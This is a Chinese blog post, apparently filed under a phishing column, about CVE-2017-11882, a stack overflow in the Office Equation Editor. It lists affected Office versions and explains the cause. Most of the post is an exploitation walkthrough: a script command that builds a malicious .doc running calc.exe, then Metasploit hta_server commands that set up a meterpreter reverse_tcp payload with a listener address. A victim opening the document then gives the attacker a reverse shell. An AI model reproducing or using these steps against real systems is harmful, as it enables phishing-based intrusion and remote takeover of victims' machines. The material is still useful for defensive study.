CVE-2017-11882:Office内存破坏漏洞

最新推荐文章于 2025-08-14 19:58:22 发布

原创最新推荐文章于 2025-08-14 19:58:22 发布 · 750 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#windows

钓鱼专栏收录该内容

2 篇文章

订阅专栏

本文详细介绍了CVE-2017-11882漏洞，这是一个影响Microsoft Office多个版本的安全问题，由栈缓冲区溢出引起。漏洞利用涉及通过恶意Office文档触发远程执行代码，如在Kali环境下创建含有恶意代码的doc文件，并在靶机上打开以弹出计算器。实战利用中提到了使用MSF框架的hta_server模块生成载荷，以及步骤化的攻击过程。

影响范围

MicrosoftOffice 2000
MicrosoftOffice 2003
MicrosoftOffice 2007 Service Pack 3
MicrosoftOffice 2010 Service Pack 2
MicrosoftOffice 2013 Service Pack 1
MicrosoftOffice 2016

利用条件

在影响范围内的应用
用户打开恶意Office

漏洞概述

CVE-2017-11882是微软公布的一个远程执行漏洞，该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时，在拷贝公式字体名称时没有对名称长度进行校验，从而造成栈缓冲区溢出，是一个非常经典的栈溢出漏洞

漏洞利用

简易测试

在kali下执行生成一个含有恶意代码的doc进行测试，下面指令的意思是调用cmd并执行calc.exe：

python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc

在靶机上打开就会弹出计算器：

实战利用

Step 1：使用MSF框架的hta_server模块生成载荷

use exploit/windows/misc/hta_server
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.174.129
set SRVPORT 9999
set URIPATH abc

Step 2：使用EXP生成带有恶意命令的doc文件

Step 3：在靶机上打开test.doc文档

Step 4：之后成功反弹shell

参考链接

GitHub - Ridter/CVE-2017-11882: CVE-2017-11882 from https://github.com/embedi/CVE-2017-11882

https://github.com/Al1ex/Heptagram/tree/master/Windows%20Office/CVE-2017-11882